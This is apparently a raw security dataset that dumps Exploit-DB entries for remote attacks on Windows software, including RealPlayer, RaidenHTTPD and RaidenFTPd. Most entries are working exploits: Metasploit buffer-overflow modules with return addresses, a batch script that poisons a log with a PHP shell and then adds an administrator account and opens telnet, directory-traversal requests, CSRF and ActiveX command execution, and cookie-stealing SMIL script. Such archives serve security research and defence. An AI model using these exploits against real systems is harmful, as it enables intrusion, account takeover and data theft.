deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18929
Description: RabidHamster R4 - Log Entry 'sprintf()' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2012-05-25
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "RabidHamster R4 Log Entry sprintf() Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in RabidHamster R4's web server.
				By supplying a malformed HTTP request, it is possible to trigger a stack-based
				buffer overflow when generating a log, which may result in arbitrary code
				execution under the context of the user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Luigi Auriemma',  #Discovery, PoC
					'sinn3r'           #Metasploit
				],
			'References'     =>
				[
					['OSVDB', '79007'],
					['URL', 'http://aluigi.altervista.org/adv/r4_1-adv.txt'],
					['URL', 'http://secunia.com/advisories/47901/']
				],
			'Payload'        =>
				{
					'StackAdjustment' => -3500,
					'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x20"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "process"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['R4 v1.25', {'Ret'=>0x73790533}]  #JMP ESI (ddraw.dll)
				],
			'Privileged'     => false,
			'DisclosureDate' => "Feb 09 2012",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptPort.new('RPORT', [true, 'The remote port', 8888])
				], self.class)
	end

	def check
		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => '/'
		})

		if res and res.headers['Server'] == 'R4 Embedded Server'
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCoded::Safe
		end
	end

	def exploit
		buf = ''
		buf << payload.encoded
		buf << rand_text_alpha(2022-buf.length, payload_badchars)
		buf << [target.ret].pack("V*")
		buf << pattern_create(200)
		buf << rand_text_alpha(3000-buf.length, payload_badchars)

		send_request_cgi({
			'method' => 'GET',
			'uri'    => "/?#{buf}"
		})
	end
end
Exploit-DB #16694
Description: Racer 0.5.3 Beta 5 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: racer_503beta5.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Racer v0.5.3 beta 5 Buffer Overflow',
			'Description'    => %q{
					This module explots the Racer Car and Racing Simulator game
				versions v0.5.3 beta 5 and earlier. Both the client and server listen
				on UDP port 26000. By sending an overly long buffer we are able to
				execute arbitrary code remotely.
			},
			'Author'         => [ 'Trancek <trancek[at]yashira.org>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2007-4370' ],
					[ 'OSVDB', '39601' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/4283' ],
					[ 'BID', '25297' ],
				],
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x5c\x00",
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Tested ok patrickw 20090503
					[ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp
					[ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ],
					[ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ],
				],
			'DisclosureDate' => 'Aug 10 2008',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(26000)
			], self.class)
	end

	def exploit
		connect_udp

		buf = Rex::Text.rand_text_alphanumeric(1001)
		buf << [target.ret].pack('V')
		buf << payload.encoded
		buf << Rex::Text.rand_text_alphanumeric(1196 - payload.encoded.length)

		udp_sock.put(buf)

		handler
		disconnect_udp
	end
end
Exploit-DB #20803
Description: RaidenFTPd 2.1 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-04-25
Author: joetesta

Exploit:
source: https://www.securityfocus.com/bid/2655/info

Raiden FTPD is susceptible to directory traversal attacks using multiple dots in submitted commands specifying file paths.

If the request is properly composed, RaidenFTPD will serve files outside of the intended webroot, potentially compromising the privacy of user data and/or obtaining information which could be used to further compromise the host. 

> ftp localhost
220-This FTP site is running free version of RaidenFTPD
220-Download chinese version from http://playstation2.idv.tw/raiden-ftpd-
site/
220-Download english version from http://playstation2.idv.tw/raidenftpd/
220-RaidenFTPD32 for RaidenFTPD (up since 2001/04/20 15:00)
220-This server is for private use only
220-If you do not have access to this server
220-Please disconnect now
220 Please enter your login name now.
User (xxxxxxxx.rh.rit.edu:(none)): jdog
331 Password required for jdog .
Password:
[really long login banner edited out]
230 User jdog logged in , proceed.
ftp> get ....\....\autoexec.bat
200 Port command ok.
150 Sending /....\....\autoexec.bat (419 bytes). Mode STREAM Type ASCII
226-횄?+횂짧+횂짝s+u횄짹횄짹_z횂짧@ 횄짹U횂짝횂짝 : 419 횂짧_횄짹+_+ 횄짹W횂짝횂짝 : 0 횂짧_횄짹+_+
226-횂짝횂짝횂쩍횄?횄짹@횂짧+횄짹U횂짝횂짝횂짭횂짝횂짝t횂쩍+횂쩌O : 419 kb/sec _z횂짧횂짝 Unlimited kb 횂짭횂짝횄짹U횂짝횂짝+B횂쩍+
226-횄?+횂쩍e횂짭횂짝횄?++횂짼횂쩌O /
226 Transfer finished successfully. Data connection closed.
ftp: 419 bytes received in 0.27Seconds 1.55Kbytes/sec.
ftp> cd ....
250-횂짧횂짝횄?++횂짼횂짝-횄짹U횂짭+횂짝횄짯 1323 mb
250 "/.." is current directory.
Exploit-DB #25486
Description: RaidenFTPd 2.4 - Unauthorized File Access
Type: remote
Platform: windows
Date: 2005-04-21
Author: Lachlan. H

Exploit:
source: https://www.securityfocus.com/bid/13292/info

RaidenFTPD is prone to a vulnerability that could allow unauthorized access to files outside the FTP root. The issue exists due to a lack of sufficient sanitization performed on 'SITE urlget' requests. Directory traversal sequences may be passed as a parameter for this request.

This vulnerability allows a remote attacker to read files outside of the FTP document root directory. An attacker may read files with the privileges of the FTP server process.

This issue was reported to affect all versions of RaidenFTPD prior to 2.4.2241.

quote site urlget file://\..\\boot.ini
Exploit-DB #4747
Description: RaidenHTTPD 2.0.19 - 'ulang' Remote Command Execution
Type: remote
Platform: windows
Date: 2007-12-18
Author: rgod

Exploit:
rem raidenhttpdudo.cmd

                  @echo off

                  color 0a

rem RaidenHTTPD 2.0.19 ulang cmd exec poc exploit 
rem WebAdmin one - not enabled by default anymore 
rem however works regardless of  php.ini, because 
rem "ulang" comes from $_GET[] and some magic_quo
rem tes_gpc disable code,lame  divertissement one
rem to demonstrate an  unauthenticated  directory 
rem traversal  ...
rem rgod ----------http://violentcop.splinder.com

         if {%1}=={} goto kill

echo HEAD /?^<?ob_end_clean();ob_clean();passthru($_GET[CMD]);die;?^> HTTP/1.1>in
echo Host: %1>>in & echo Connection: Close>>in & echo.>>in
nc %1 80 -v -w1< in > nul
echo ..\..\..\logs\access_%date:~6,4%-%date:~3,2%-%date:~0,2%.log%%00> puf & set /p exploit=< puf 
echo GET /raidenhttpd-admin/workspace.php?CMD=cmd.exe+%%2Fc+net+user+sun+tzu+%%2Fadd+%%26+net+localgroup+Administrators+sun+%%2Fadd+%%26+sc+config+NtLmSsp+start%%3D+auto+%%26+sc+config+RpcSs+start%%3D+auto+%%26+net+start+RpcSs+%%26+net+start+NtLmSsp+%%26+sc+config+TlntSvr+start%%3D+auto+%%26+net+start+TlntSvr+%%26+netsh+firewall+add+portopening+tcp+23+sh+%%26+echo+REGEDIT4+%%3E+sh.reg+%%26+echo+%%5BHKEY_LOCAL_MACHINE%%5CSYSTEM%%5CCurrentControlSet%%5CControl%%5CLsa%%5D+%%3E%%3E+sh.reg+%%26+echo+%%22forceguest%%22%%3Ddword%%3A00000000+%%3E%%3E+sh.reg+%%26+regedit+%%2FS+sh.reg^&ulang=%exploit% HTTP/1.1> in
echo Host: %1>>in & echo Connection: Close>>in & echo.>>in
echo please wait ...
nc %1 80 -v -w1< in > nul
ping localhost -n 15>nul & rem delaying ...
del puf
del in
                telnet %1 23

                goto nowhere

                  :kill
            echo %0 [target-host]

                 :nowhere

rem milw0rm.com [2007-12-18]
Exploit-DB #40694
Description: Rapid PHP Editor 14.1 - Remote Command Execution
Type: remote
Platform: windows
Date: 2016-11-03
Author: hyp3rlinx

Exploit:
[+] Credits: John Page aka hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/RAPID-PHP-EDITOR-REMOTE-CMD-EXEC.txt

[+] ISR: Apparition Security



Vendor:
======================
www.rapidphpeditor.com



Product:
===============================
Rapid PHP Editor IDE
rapidphp2016.exe v14.1


Rapid PHP editor is a faster and more powerful PHP editor for Windows combining features of a fully-packed PHP IDE with 
the speed of the Notepad. Rapid PHP is the most complete all-in-one software for coding PHP, HTML, CSS, JavaScript and
other web development languages with tools for debugging, validating, reusing, navigating and formatting your code.



Vulnerability Type:
=============================
CSRF Remote Command Execution



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

There is a Remote Command Execution ailment in this IDE, if a user of this IDE is running the internal debug server
listening on localhost port 89 and they open a link or visit a malicious webpage then remote attackers can execute arbitrary
commands on the victims system.

Reference:
http://forums.blumentals.net/viewtopic.php?f=15&t=7062


Exploit code(s):
================

Call Windows "calc.exe" as POC

<a href="http://127.0.0.1:89/~C/Windows/system32/calc.exe">Click it!</a>

OR

<form action="http://127.0.0.1:89/~C/Windows/system32/calc.exe" method="post">
<script>document.forms[0].submit()</script>
</form>



Disclosure Timeline:
=============================================
Vendor notification:  October 5, 2016
Vendor confirms vulnerability: October 7, 2016
Vendor releases fixed version: November 1, 2016
November 2, 2016 : Public Disclosure




Severity Level:
================
High



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.
Exploit-DB #24767
Description: Raven Software Soldier Of Fortune 2 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2004-11-23
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/11735/info

It is reported that Soldier of Fortune 2 is susceptible to a buffer overflow vulnerability. This issue is due to a failure of the application to perform sufficient bounds checking on user-supplied input prior to copying it to a fixed-sized memory buffer.

A remote attacker may exploit this vulnerability to deny service to legitimate users. Due to the nature of this vulnerability, it is conjectured that remote code execution may be possible, but this is not confirmed.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24767.zip
Exploit-DB #33935
Description: rbot 0.9.14 - '!react' Unauthorized Access
Type: remote
Platform: windows
Date: 2010-02-24
Author: nks

Exploit:
source: https://www.securityfocus.com/bid/39915/info

Rbot is prone to an unauthorized-access vulnerability because it fails to adequately sanitize user supplied data.

An attacker can exploit this vulnerability to gain administrative rights to the rbot application. This will allow a remote attacker to execute Ruby code within the context of the affected application; other attacks may be possible.

rbot 0.9.14 is vulnerable; other versions may also be affected. 

<attacker> !react to /attacker:.*/ with cmd:whoami
Exploit-DB #30067
Description: rdiffweb 0.3.5 - Directory Traversal
Type: remote
Platform: windows
Date: 2007-05-22
Author: Jesus Roncero

Exploit:
source: https://www.securityfocus.com/bid/24092/info

rdiffWeb is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks.

This issue affects rdiffWeb 0.3.5; other versions may also be affected. 

http://localhost:8080/browse/?repo=b&path=..%2F..%2F..%2Fetc
Exploit-DB #15991
Description: Real Networks RealPlayer SP - 'RecordClip' Method Remote Code Execution
Type: remote
Platform: windows
Date: 2011-01-14
Author: Sean de Regge

Exploit:
Sources:  https://www.securityfocus.com/bid/44443/info
          http://packetstormsecurity.org/files/view/97522/recordingmanager-ie.txt
<html>

<p>
Written by Sean de Regge (seanderegge hotmail.com)

Exploit for the parameter injection bug in Realplayers RecordClip() activeX function and firefox plugin
http://www.zerodayinitiative.com/advisories/ZDI-10-211/

C:\Program Files\Real\RealPlayer\RecordingManager.exe has 2 interesting switches:
/t will spoof the download of any file so you can make it look like it's downloading a normal mp3 file
/f will make it download to any location on the disk instead of the realplayer downloads folder

Restrictions:
The extension on server side must be a valid media file (ie: .mp3)
Realplayer does some checks on the file to see if it is a valid media file too, so we need to create a 
chimera file, which will parse as a valid mp3 file and a valid batch file.
Best is to take a valid mp3 file and modify it in a hex editor to have your batch commands in the first couple of bytes.
</p>

<OBJECT ID="obj" WIDTH=0 HEIGHT=0 CLASSID="CLSID:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5">
</OBJECT>
<embed type="audio/x-pn-realaudio-plugin"


    controls="ImageWindow"
    console="video1"
    src='http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3'
    width="240"
    height="180"
    autostart=true>

 </embed> 
<script>


var file = 'http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3';

obj.RecordClip(file, "audio/mpeg3", "clipInfo");
	

</script>
</html>
Exploit-DB #14275
Description: Real Player 12.0.0.879 - Code Execution
Type: remote
Platform: windows
Date: 2010-07-08
Author: webDEViL

Exploit:
# Exploit Title: Real Player 12.0.0.879 0day for WinXP
# Date: 09/07/2010
# Author: webDEViL
# Version: 12.0.0.879
# Tested on: WinXP


This bug utilizes Microsoft Help vuln for RCE.
You can test by browsing to http://krash.in/real-exp/exploit.ram

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14275.tar (rp-0day-08-07-2010.tar)


--webDEViL
Exploit-DB #35560
Description: RealNetworks GameHouse 'InstallerDlg.dll' 2.6.0.445 ActiveX Control - Multiple Vulnerabilities
Type: remote
Platform: windows
Date: 2011-04-03
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/47133/info

GameHouse 'InstallerDlg.dll' ActiveX control is prone to multiple vulnerabilities.

Successfully exploiting these issues allows the attacker to execute arbitrary commands within the context of the application (typically, Internet Explorer) that uses the ActiveX control, and allows remote attackers to create or overwrite arbitrary local files and to execute arbitrary code. Failed exploit attempts will result in a denial-of-service condition.

InstallerDlg.dll 2.6.0.445 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35560-1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35560-2.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35560-3.rb
Exploit-DB #16586
Description: RealNetworks RealPlayer - '.SMIL' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: realplayer_smil.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RealNetworks RealPlayer SMIL Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in RealNetworks RealPlayer 10 and 8.
				By creating a URL link to a malicious SMIL file, a remote attacker could
				overflow a buffer and execute arbitrary code.
				When using this module, be sure to set the URIPATH with an extension of '.smil'.
				This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8
				build 6.0.9.584.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'MC',
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2005-0455' ],
					[ 'OSVDB', '14305'],
					[ 'BID', '12698' ],
				],

			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},

			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x90\x0a\x0d\x20\x3c\x3e\x2f\x5c\x22\x58\x3d\x3b\x40\x3f\x27\x26\x25",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'RealPlayer 10/8 on Windows 2000 SP0-SP4 English',     { 'Offset' => 608, 'Ret' => 0x75022ac4 } ],
					[ 'RealPlayer 10/8 on Windows XP PRO SP0-SP1 English',   { 'Offset' => 584, 'Ret' => 0x71aa2461 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 1 2005',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		cruft  =  rand_text_alpha_upper(1)
		bleh   =  rand_text_alpha_upper(11)

		sploit =  rand_text_alpha_upper(target['Offset']) + payload.encoded
		sploit << "\xeb\x06" + rand_text_alpha_upper(2) + [target.ret].pack('V')
		sploit << [0xe8, -485].pack('CV')

		# Build the HTML content
		content =  "<smil><head><layout><region id=\"#{cruft}\" top=\"#{cruft}\" /></layout></head>"
		content << "<body><text src=\"#{bleh}.txt\" region=\"size\" system-screen-size=\"#{sploit}\" /></body></smil>"

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content, { 'Content-Type' => 'text/html' })

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #23043
Description: RealOne Player 1.0/2.0/6.0.10/6.0.11 - '.SMIL' File Script Execution
Type: remote
Platform: windows
Date: 2003-08-19
Author: KrazySnake

Exploit:
source: https://www.securityfocus.com/bid/8453/info

Real Networks has reported a vulnerability in RealOne Player. Script embedded in SMIL presentations may be executed in the context of a domain that is specified by an attacker. This could allow for theft of cookie-based authentication credentials or other attacks.

This vulnerability could also be exploited to execute script code in the context of the My Computer Zone, which could lead to installation and execution of malicious code on the client systems. This has been demonstrated with a newly reported vulnerability that is a variant of this issue (BID 9378), making it possible to exploit this issue to the same ends as the new vulnerability.

This issue is believed to affect RealOne Player for Microsoft Windows operating systems.


We have created a SMIL file that will read the cookie from
https://order.real.com/pt/order.html. The cookie will be read 9 seconds
after the audio has begun.

Source Code:
<smil xmlns="http://www.w3.org/2001/SMIL20/Language"
xmlns:rn="http://features.real.com/2001/SMIL20/Extensions">
<head>
<meta name="title" content="DigitalPranksters.com Proof of Concept"/>
<meta name="author" content="DigitalPranksters.com"/>
<meta name="copyright" content="(c)2003 DigitalPranksters.com"/>
</head>
<body>
<audio
src="http://radio.real.com/RGX/def.def...RGX/www.smgradio.com/core/audio/real/live.ram?service=vr">
<area href="https://order.real.com/pt/order.html" begin="1s"
external="true" actuate="onLoad" sourcePlaystate="play"
rn:sendTo="_rpcontextwin">
<rn:param name="width" value="10"/>
<rn:param name="height" value="10"/>
</area>
<area href="javascript:alert('Hi there! I\'m a digital prankster. I
just read your cookie from ' + document.domain + ' over the ' +
location.protocol + '// protocol.\n\nThe value was:\n' + document.cookie +
'\n\nHave a nice day.')" begin="9s" external="true" actuate="onLoad"
sourcePlaystate="play" rn:sendTo="_rpcontextwin"/>
</audio>
</body>
</smil>